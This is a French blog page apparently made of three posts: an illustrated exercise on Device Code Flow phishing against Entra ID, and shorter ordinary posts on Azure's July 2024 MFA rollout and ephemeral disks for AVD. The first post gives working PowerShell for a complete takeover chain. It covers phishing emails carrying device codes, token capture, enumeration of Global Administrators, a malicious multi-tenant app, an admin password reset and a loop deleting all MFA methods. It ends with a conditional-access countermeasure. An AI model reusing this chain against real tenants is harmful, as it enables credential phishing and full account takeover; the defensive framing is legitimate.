Gérez le Device Code flow

Type d’authentification du protocole OAuth 2.0, le Device Code Flow est spécifiquement conçu pour les appareils sans navigateur ou avec une méthode de saisie restreinte, comme les téléviseurs, les consoles de jeux ou encore les appareils IoT. Cette méthode d’identification est déjà très répandue au travers des plateformes de streaming audio ou vidéo. Mais quid de sa sécurité ?

Qu’est-ce que le Device Code Flow ?

Le principal avantage du Device Code Flow est de proposer une méthode d’authentification « conviviale » pour des périphériques à saisie restreinte. On peut découper le processus d’authentification du device code flow dans les étapes suivantes :

  1. Demande d’un code de dispositif:
    • L’appareil (par exemple, une télévision) envoie une demande à l’API d’autorisation du service (par exemple, un serveur OAuth).
    • En réponse, il reçoit un code de dispositif et une URL d’authentification.
  2. Affichage du code et de l’URL à l’utilisateur:
    • L’appareil affiche le code de dispositif et l’URL d’authentification à l’utilisateur.
    • Par exemple, « Veuillez visiter https://example.com/device et entrer le code suivant: ABC123″.
  3. Utilisateur autorise l’appareil:
    • L’utilisateur utilise un appareil avec un navigateur (par exemple, un smartphone ou un ordinateur) pour visiter l’URL fournie.
    • L’utilisateur entre le code de dispositif affiché sur l’appareil et s’authentifie (par exemple, via un login et un mot de passe).
  4. Appareil poll l’API d’autorisation:
    • Pendant que l’utilisateur s’authentifie, l’appareil envoie régulièrement des requêtes (polling) à l’API d’autorisation pour vérifier si l’utilisateur a terminé le processus d’autorisation.
    • Si l’utilisateur autorise l’accès, l’API renvoie un jeton d’accès à l’appareil.
  5. Accès accordé:
    • L’appareil peut maintenant utiliser le jeton d’accès pour accéder aux ressources protégées au nom de l’utilisateur.
Action ou flux d’authentificationNécessiteJeton d’IDAccess token (Jeton d’accès)Jeton d’actualisationCode d’autorisation.
Flux du code d’autorisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisationLe code d’autorisation fonctionne
Informations d’identification du clientLe flux d’authentification fonctionne pour le jeton d’accès (application uniquement)
Flux de code d’appareilLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Flux impliciteLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accès
Flux On-Behalf-Ofaccess tokenLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Nom d’utilisateur/mot de passe (ROPC)nom d’utilisateur, mot de passeLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Circuit OIDC hybrideLe flux d’authentification fonctionne pour le jeton d’IDLe code d’autorisation fonctionne
Échange de jetons d’actualisationjeton d’actualisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation

Pourquoi alors se passer du Device Code Flow si pratique ?

Disons-le tout de suite, Microsoft est très clair quant à la sécurité d’Entra ID uniquement basée sur un Device code flow :

Le flux de code d’appareil est un flux d’authentification à haut risque qui peut être utilisé dans le cadre d’une attaque par hameçonnage ou pour accéder aux ressources de l’entreprise sur des appareils non gérés. 

Microsoft Learn

Merci à Seyfallah pour son explication très claire sur les risques :

Mais pourquoi alors proposer quelque chose de risqué ?

Comme dit plus haut, certains scénarios spécifiques sont plus facilement gérables via Device Code Flow. D’ailleurs, tous les principaux cmdlets PowerShell, les outils AZ et de nombreux autres prennent en charge ce flux d’authentification depuis déjà un bon moment.

Vous pouvez configurer le contrôle de flux de code de l’appareil avec d’autres contrôles dans vos stratégies d’accès conditionnel. Par exemple, si le flux de codes d’appareils est utilisé pour les appareils Android utilisés dans les salles de conférence, vous pouvez choisir de bloquer le flux de codes d’appareils partout, sauf pour les appareils Android situés dans un emplacement spécifique du réseau.

Microsoft Learn

Mais le principal risque pour la méthode d’authentification via Device Code Flow reste le Phishing ou hameçonnage. Les attaquants peuvent tenter de créer de fausses pages ou emails de phishing :

Et l’arrivée massive de l’IA n’a fait qu’accroitre le risque des attaques basées sur l’ingénierie sociale. Les utilisateurs peuvent être facilement manipulés pour valider des devices code flows à leur insu.

Mais comment peut-on y remédier ?

Bien que la première méthode sécuritaire doive être construite autour de l’éducation des utilisateurs, des pratiques de sécurité rigoureuses et une surveillance continue peuvent aider à atténuer ces risques et à protéger les utilisateurs contre ces attaques :

Entra ID propose depuis peu et encore en préversion, la gestion de polices d’accès conditionnels proposant justement de bloquer les Device code flow selon certains usages :

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur le Device code Flow et son impact :

Important : Cet exercice n’est reflète pas une attaque dans son intégralité, mais démontre quelques points intéressants dans le cadre d’une prise de contrôle d’un administrateur global.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer de :

  • Deux tenants Microsoft
  • Plusieurs adresses emails pour une première campagne d’hameçonnage

Commençons par l’hameçonnage d’utilisateurs 365 lambda afin de récupérer l’accès à la messagerie 365.

Etape I – Préparation du premier hameçonnage :

Une campagne d’hameçonnage réussie et reposant sur de l’ingénierie sociale doit faire l’objet d’un travail poussé afin d’augmenter ses chances de succès.

Dans mon cas, je suis passé par ChatGPT pour rédiger rapidement un email d’hameçonnage destiné à mes utilisateurs lambda :

ChatGPT m’a alors généré en quelques secondes le texte de mon email au format HTML :

<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://www.fakewebsite.com/register" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">UNIQUECODE12345</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>

Il ne me reste qu’à y remplacer l’URL et le Device Code Flow.

Pour cela, et depuis mon poste, j’exécute le script PowerShell suivant afin de générer un Device Code Flow destiné à l’application officielle Microsoft Office :

$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$Scope = ".default offline_access"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}

$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Attention ici, le code généré n’est valable que 15 minutes, mais des méthodes d’automatisation de l’hameçonnage sont facilement réalisable.

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma première campagne d’hameçonnage :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "jlou07@jloudev.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔"
# E-mail : corps

# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">LS9475723</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "teacher1@tdcheduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Bien évidemment, une campagne d’hameçonnage repose toujours sur une volume important d’emails, comparé aux faibles chances de clics des utilisateurs.

Etape II – Récupération du premier token :

Admettons un instant qu’un utilisateur 365 lambda se fasse berner et clique sur le lien en pensant que ce dernier est légitime. Ce dernier est invité à recopier le code indiqué dans l’email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte 365 :

Pensant toujours l’action légitime, l’utilisateur clique sur Continuer :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce même Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de l’application Microsoft Office :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure justement le droit d’envoyer des emails :

Nous sommes maintenant à l’intérieur d’un environnement Entra ID avec déjà quelques autorisations. Afin de réussir l’objectif de réinitialiser le mot de passe d’un compte Administrateur Global, nous allons avoir besoin de plus de droits que ceux déjà obtenus.

Etape III – Préparation du second hameçonnage :

La plus rapide est de cibler tous les comptes Entra ID ayant le rôle d’Administrateur Global. Bien souvent, d’autres personnes non IT (gérants, actionnaires, …) ont également ce rôle critique malgré les risques que cela comporte.

Depuis l’accès obtenu via mon utilisateur lambda, la commande PowerShell suivante me permet de récupérer des informations sur les comptes Administrateur Global du tenant :

$memberList = [System.Collections.Generic.List[string]]::new()
$roleId = (Get-MgDirectoryRole -Filter "DisplayName eq 'Global Administrator'").Id
$userList = Get-MgDirectoryRoleMember -DirectoryRoleId $roleId

foreach ($user in $userList) {
    $upn = (Get-MgUser -UserId $user.id).UserPrincipalName
    $GivenName = (Get-MgUser -UserId $user.id).GivenName
    $memberList.Add($upn)
    $memberList.Add($GivenName)
}

$memberList

Une fois ma nouvelle liste de cibles établie, je peux créer une seconde campagne d’hameçonnage interne.

Avant besoin de plus de droits que ceux octroyés par l’application Microsoft Office, je décide de créer une nouvelle application sur un autre tenant dont je suis le propriétaire :

Je nomme mon application selon le contexte voulu et j’active la fonction multi-tenant :

Depuis l’onglet Authentification, je clique sur le menu suivant :

Je clique sur le type de plate-forme suivant :

Je coche et rajoute les URIs suivantes :

J’active également la fonction suivante, puis je clique sur Sauvegarder :

Depuis le menu Permissions API, je rajoute une permission API par le bouton suivant :

Je choisi alors Microsoft Graph :

Je sélectionne Permissions déléguées :

Je recherche la permissions suivante, puis je clique sur Ajouter :

UserAuthenticationMethod.ReadWrite.All

Ici, aucun besoin de consentement d’administration :

Sur la page principale de mon application, je récupère son Application ID :

Comme pour la première campagne, j’exécute les commandes suivantes pour de générer un Device Code Flow destiné à ma nouvelle application :

$ClientID = "1bc7e8a5-6442-4f35-8497-2cebe8c71f0c"
$Scope = "UserAuthenticationMethod.ReadWrite.All"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Là encore, le code généré n’est valable que 15 minutes :

Je repasse par ChatGPT pour rédiger rapidement un second email d’hameçonnage interne destiné à mes utilisateurs Administrateur Global :

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma seconde campagne d’hameçonnage interne :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "teacher1@tdcheduc.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "Activation de l'essai de Copilot for Security toujours en attente"
# E-mail : corps
#$EmailBody = "<h1>Démo Microsoft Graph</h1>"
# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Découvrez Copilot for Security</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🚀 Découvrez Copilot for Security 🚀</h1>
    <p>Bonjour,</p>
    <p>Nous sommes ravis de vous présenter <strong>Copilot for Security</strong> - votre nouvel allié de confiance pour une sécurité renforcée !</p>
    <p>Copilot for Security est une solution révolutionnaire conçue pour simplifier et améliorer la sécurité de votre organisation. Imaginez une intelligence artificielle capable d'analyser vos systèmes en temps réel, de détecter les menaces potentielles avant qu'elles ne deviennent des problèmes, et de vous fournir des recommandations personnalisées pour renforcer votre posture de sécurité. C'est exactement ce que vous offre Copilot for Security !</p>
    <p>Mais ce n'est pas tout ! Nous avons une nouvelle excitante à partager : <strong>une préversion privée de Copilot for Security est désormais accessible sur demande</strong> !</p>
    <p>Ne manquez pas cette opportunité exclusive de tester notre solution avant tout le monde et de contribuer à façonner l'avenir de la sécurité informatique.</p>
    <p>Pour vous inscrire à la préversion privée, rendez-vous sur <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none;">notre page d'inscription</a> et utilisez le code suivant :</p>
    <p style="font-size: 1.2em; font-weight: bold; color: #d32f2f;">CUA75XNUX</p>
    <p>Nous avons hâte de vous accueillir parmi nos premiers utilisateurs et de vous voir profiter des nombreux avantages de Copilot for Security.</p>
    <p>Avec enthousiasme,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "ADMTeacher@TDCHEduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes Administrateurs cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Il ne reste plus qu’à croiser les doigts qu’un des administrateurs Global se laisse tenter par cette formidable nouvelle.

Etape IV – Récupération du second token :

Admettons là encore qu’un Administrateur Global non IT clique sur le lien et recopie le code indiqué dans le second email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte admin 365 :

Pensant lui aussi l’action légitime, l’utilisateur clique simplement sur Accepter :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce second Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de notre application :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure la gestion des méthodes d’authentification :

Etape V – Reset et test de connexion :

Il nous reste alors qu’à lancer la commande suivant afin de réinitialiser le mot de passe d’un autre administrateur global présent sur le tenant :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$method = Get-MgUserAuthenticationPasswordMethod -UserId $userid
  
Reset-MgUserAuthenticationMethodPassword -UserId $userid -AuthenticationMethodId $method.id -NewPassword "zQ7!Ra3MM6ha" 

Il nous est même possible d’effacer les différentes méthodes MFA déjà enregistrées sur ce même compte :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$AuthMethods = Get-MgUserAuthenticationMethod -UserId $userid
ForEach ($AuthMethod in $AuthMethods){
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.emailAuthenticationMethod"){
        Remove-MgUserAuthenticationEmailMethod -EmailAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.microsoftAuthenticatorAuthenticationMethod"){
        Remove-MgUserAuthenticationMicrosoftAuthenticatorMethod -MicrosoftAuthenticatorAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.fido2AuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.windowsHelloForBusinessAuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.softwareOathAuthenticationMethod"){
        Remove-MgUserAuthenticationSoftwareOathMethod -SoftwareOathAuthenticationMethodId $AuthMethod.id
    }
}

Par le biais d’un navigateur privé, il nous suffit de tester le nouveau mot de passe configuré sur l’administrateur global ciblé :

Comme attendu, Microsoft nous demande également de reconfigurer une ou plusieurs méthodes MFA sur ce compte :

Le compte et donc le tenant est donc maintenant sous notre contrôle. D’autres actions plus critiques pourraient alors suivre.

Mais, comme dit plus haut, Entra ID vous propose maintenant de bloquer les Device code flow via les Polices d’accès conditionnel.

Etape VI – Polices d’accès conditionnel :

Dans son journal des connexions Entra ID, Microsoft indique clairement l’usage d’un Device Code Flow :

Depuis le portail d’Entra ID, il est maintenant possible de définir une police ayant pour but de spécifiquement cibler et bloquer les connexions faites via Device Code Flow :

Une fois cette police en place, l’utilisateur lambda peut cliquer sur le lien :

Renseigner un code actif :

Choisir son identifiant 365 :

Et se retrouver bloqué et donc protégé de cette tentative d’usurpation :

Conclusion

En conclusion, le Device Code Flow offre une solution pratique pour l’authentification des appareils avec des capacités limitées tout en maintenant une expérience utilisateur fluide. Cependant, il est crucial de mettre en œuvre des mesures de sécurité robustes pour atténuer les risques potentiels associés à ce flux.

MFA pour tous les utilisateurs d’Azure à partir de juillet 2024

Microsoft vient d’annoncer, via un article posté sur le Techcommunity, une modification majeure à venir concernant l’authentification sur Azure : MFA pour tous ! Quand cela va arriver ? Qu’est-ce que cela implique ? Ces questions et bien d’autres encore sont légitimes. Tentons d’y voir plus clair ensemble.

Dans cet article sous forme de FAQ, je vous propose de commencer quelques notions important :

Et d’aborder ensuite les futurs changements prévus en juillet 2024 par Microsoft :

Qu’est-ce que la MFA ?

L’utilisation d’un mot de passe uniquement ne protège pas complètement des attaques. Si le mot de passe est faible ou s’il a été exposé ailleurs, un attaquant peut l’utiliser pour y accéder. Quand vous exigez une deuxième forme d’authentification, la sécurité est renforcée parce que ce facteur supplémentaire n’est pas un élément qu’un attaquant peut facilement obtenir ou dupliquer.

Microsoft Doc

La MFA propose donc d’aller plus loin que le couple classique identifiant / mot de passe. L’authentification multifacteur d’Entra ID impose de mettre en place les 3 méthodes d’authentification suivantes :

  • Un élément que vous connaissez (ex. mot de passe)
  • Un élément que vous possédez (ex. un appareil de confiance, comme un smartphone)
  • Un élément qui vous définit (ex. identifiant biométrique, tel qu’une empreinte digitale)

Voici l’écran de configuration utilisateur d’une méthode MFA possible :

L’URL suivante (https://aka.ms/mfasetup) permet de gérer et configurer ses méthodes MFA :

Quelle licence est nécessaire pour la disposer d’une MFA ?

Les choses ont quelque peu évolué ces dernières années chez Microsoft. Les licences Entra ID présentes et assignées aux utilisateurs concernés sont le point de départ aux méthodes de MFA disponibles.

Cette information au niveau tenant est disponible sur la page principale d’Entra ID :

Voici un tableau de comparaison des features MFA en fonction des licences Microsoft :

FonctionEntra ID Gratuit : paramètres de sécurité par défaut activésEntra ID
Gratuit
Office 365Entra ID P1Entra ID P2
Protection des comptes avec authentification multifacteur● (comptes d’administrateur général uniquement)
Application mobile comme second facteur
Appel téléphonique comme second facteur
Le SMS comme deuxième facteur
Contrôle d’administration sur les méthodes de vérification
Alerte de fraude
Rapports MFA
Messages de bienvenue personnalisés pour les appels téléphoniques
ID d’appelant personnalisé pour les appels téléphoniques
Adresses IP approuvées
Mémoriser MFA pour les appareils fiables
MFA pour les applications locales
Accès conditionnel
Accès conditionnel en fonction du risque

Autrement dit, un tenant même gratuit (ou non) et ayant la sécurité par défaut activée dispose d’une MFA accessible à tous ses utilisateurs :

Tous les utilisateurs d’un locataire Microsoft Entra ID Gratuit peuvent utiliser l’authentification multifacteur Microsoft Entra à l’aide des paramètres de sécurité par défaut. L’application d’authentification mobile peut être utilisée pour l’authentification multifacteur Microsoft Entra lors de l’utilisation des paramètres de sécurité par défaut Microsoft Entra ID Gratuit.

Microsoft Learn

Les paramètres de sécurité par défaut peuvent être activés dans le niveau Microsoft Entra ID Free. Avec les paramètres de sécurité par défaut, tous les utilisateurs sont activés pour l’authentification multifacteur à l’aide de l’application Microsoft Authenticator. Il n’est pas possible d’utiliser la vérification par SMS ou appel téléphonique avec les paramètres de sécurité par défaut, mais uniquement l’application Microsoft Authenticator.

Microsoft Learn

Mais pourquoi alors payer pour un service MFA disponible gratuitement ?

L’activation de la sécurité par défaut sur un tenant est gratuite, mais reste non personnalisable. Microsoft recommande d’ailleurs une utilisation agile de la MFA grâce à l’utilisation de polices d’accès conditionnel, disponibles dans les licences Microsoft Entra ID P1 ou P2.

Un précédent article dédié aux accès conditionnels est disponible juste ici :

Existe-t-il des différentes configurations MFA possibles sur un tenant ?

Pour rappel, il est actuellement possible de configurer le challenge MFA via 3 méthodes distinctes :

  • Paramètres de sécurité par défaut
  • Accès conditionnel
  • Authentification multifacteur par utilisateur (per-user MFA)

Important : N’activez pas ou n’appliquez pas l’authentification MFA par utilisateur si vous utilisez également des polices d’accès conditionnel.

StratégieParamètres de sécurité par défautAccès conditionnelAuthentification multifacteur par utilisateur
Gestion
Ensemble standard de règles de sécurité pour garantir la sécurité de votre entreprise
Activé/désactivé en un clic
Inclus dans la gestion des licences Office 365 (voir les considérations relatives aux licences)
Modèles préconfigurés dans l’assistant Centre d’administration Microsoft 365
Flexibilité de la configuration
Fonctionnalité
Exempter les utilisateurs de la stratégie
Authentification par appel téléphonique ou SMS
S’authentifier par Microsoft Authenticator et jetons logiciels
Authentification par FIDO2, Windows Hello Entreprise et les jetons matériels
Bloque les protocoles d’authentification hérités
Les nouveaux employés sont automatiquement protégés
Déclencheurs MFA dynamiques en fonction des événements à risque
Stratégies d’authentification et d’autorisation
Configurable en fonction de l’emplacement et de l’état de l’appareil
Prise en charge du mode « Rapport seul »
Possibilité de bloquer complètement les utilisateurs/services

Attention la méthode appelée Authentification multifacteur par utilisateur ou Per-user MFA est vouée à disparaitre :

En mars 2023, nous avons annoncé la dépréciation de la gestion des méthodes d’authentification dans les stratégies héritées de l’authentification multifacteur et de la réinitialisation de mot de passe en libre-service (SSPR). À compter du 30 septembre 2025, les méthodes d’authentification ne pourront pas être managées dans ces stratégies MFA et SSPR héritées.

Microsoft Learn

L’écran suivant est accessible via cette URL :

Peut-on migrer d’une configuration MFA à une autre ?

A cause de ce décommissionnement prévu pour 2025, Microsoft a déjà mis à disposition une documentation expliquant différentes étapes pour assurer une transition réussie :

Le SSPR (Réinitialisation du mot de passe en libre-service) et l’ancienne méthode MFA seront donc gérés par les Méthodes d’authentification unifiées :

Qu’est-ce qui se passe en juillet 2024 ?

La nouvelle est passée un peu inaperçue, mais juillet 2024 marque un pas important pour la sécurité Azure :

En juillet (2024), les équipes Azure commenceront à déployer des mesures de sécurité supplémentaires au niveau des locataires pour exiger l’authentification multifactorielle (MFA).

Microsoft Techcommunity

Autrement dit, le déploiement de cette règle MFA sera progressif et concernera à terme l’ensemble des tenants hébergés sur le Cloud public de Microsoft.

Quels sont les services impactés par ce changement ?

Azure et seulement Azure. Ce point est très important d’autres services 365, ou même l’utilisation de services pourtant hébergés Azure ne seront pas impactés par ce changement. Enfin, gardez à l’esprit qu’Azure est accessible via différentes méthodes, et seront donc toutes concernés :

  • Portail Azure
  • CLI
  • PowerShell
  • Terraform

À partir de juillet 2024, un déploiement progressif de cette application pour le portail uniquement commencera. Une fois le déploiement terminé pour le portail, un déploiement progressif similaire commencera pour CLI, PowerShell et Terraform.

Microsoft Techcommunity

Il s’agit donc d’assurer un contrôle MFA systématique afin de protéger les actions en relation avec la gestion des ressources Azure.

Quelles seront les méthodes de MFA possibles pour Azure ?

Les méthodes MFA classiques suivantes pourront être utilisées pour l’authentification Azure :

  • Microsoft Authenticator
  • Authenticator Lite (dans Outlook)
  • Windows Hello Entreprise
  • Clé de sécurité FIDO2
  • Token matériel OATH (préversion)
  • Token logiciel OATH
  • SMS
  • Appel vocal

Quelles sont les identités concernées / non concernées ?

Merci à John Savill pour ce schéma expliquant l’impact entre tous les types d’identités possibles sur Entra ID :

Sont donc concernées :

  • Toutes les identités humaines accédant à Azure dans le cadre de l’administration de ressources (membres et invités)

Sont donc non concernées :

  • Principaux de services
  • Identités managées (user ou système)
  • Comptes basés sur des tokens et utilisés pour l’automatisation

Un travail chez les utilisateurs est donc nécessaire. Mais un contrôle est aussi à prévoir sur les process automatisés utilisant des identités utilisateurs au lieu de des principaux de service ou d’identités managées.

Comment se rendre compte de l’impact avant le jour J ?

Après investigations, Il existe un template de police d’accès conditionnel qui semblerait très proche du résultat attendu par l’évolution de Microsoft prévue pour juillet 2024 :

Cette police semble bien cibler la gestion des ressources Azure :

La mise en place de cette police en mode Report seulement serait alors un premier pas vers la compréhension de ce qui va se passer sur votre environnement :

Conclusion

Dans tous les cas, gardez en tête les points suivants, et je ne peux que vous conseiller de prendre les devants dès que possible :

  • Microsoft recueille encore les feedbacks pour certains scénarios tels que les comptes « break-glass ».
  • Commencez à examiner les identifiants Entra utilisés pour les opérations de management, développement et les accès API à Azure Resource Manager.
  • Si nécessaire, remplacer les identités des utilisateurs par des principaux de service ou des identités managées.

Bon courage à tous 💪🙏😎

Associez un disque éphémère à votre AVD

Les disques éphémères existent depuis déjà quelques années sur Azure. Mais est-ce qu’un environnement de bureau à distance comme Azure Virtual Desktop associé à ce type de disque est possible ? Si oui, qu’est-ce que cela donne en termes de performances, mais également quelles en seraient les contraintes ?

Qu’est-ce qu’un disque éphémère sur Azure ?

Contrairement aux disques persistants, les disques éphémères sont :

  • temporaires et ne conservent pas les données au-delà du cycle de vie de la machine virtuelle.
  • Ils offrent généralement des performances supérieures aux disques persistants car ils sont directement attachés à l’hôte physique sous-jacent.
  • Ils sont également sujets à la perte de données en cas de panne de la machine virtuelle ou de redémarrage.
  • Leur prix est inclus dans le coût de la taille de la machine virtuelle.
  • Leur taille dépend exclusivement de la taille de la machine virtuelle choisie.
  • Peut se présenter sous deux formes possibles : cache ou disque temporaire (D).

L’excellente vidéo de John Savill vous permettra de bien comprendre le principe des différents disques éphémères sur Azure :

Quels sont les risques à utiliser un disque éphémère ?

Ces disques sont souvent utilisés pour des charges de travail temporaires qui ne nécessitent pas de stockage permanent ou pour des applications qui peuvent reconstruire leurs données en cas de perte.

Il est donc essentiel de sauvegarder les données importantes sur des disques persistants ou d’autres services de stockage Azure si la persistance des données est nécessaire.

Voici 2 pages utiles pour mettre en pratique les disques éphémères :

Comparé à un disque de système d’exploitation standard, un disque éphémère offre une latence plus faible pour les opérations de lecture/écriture et permet une réinitialisation plus rapide des machines virtuelles.

Microsoft Learn

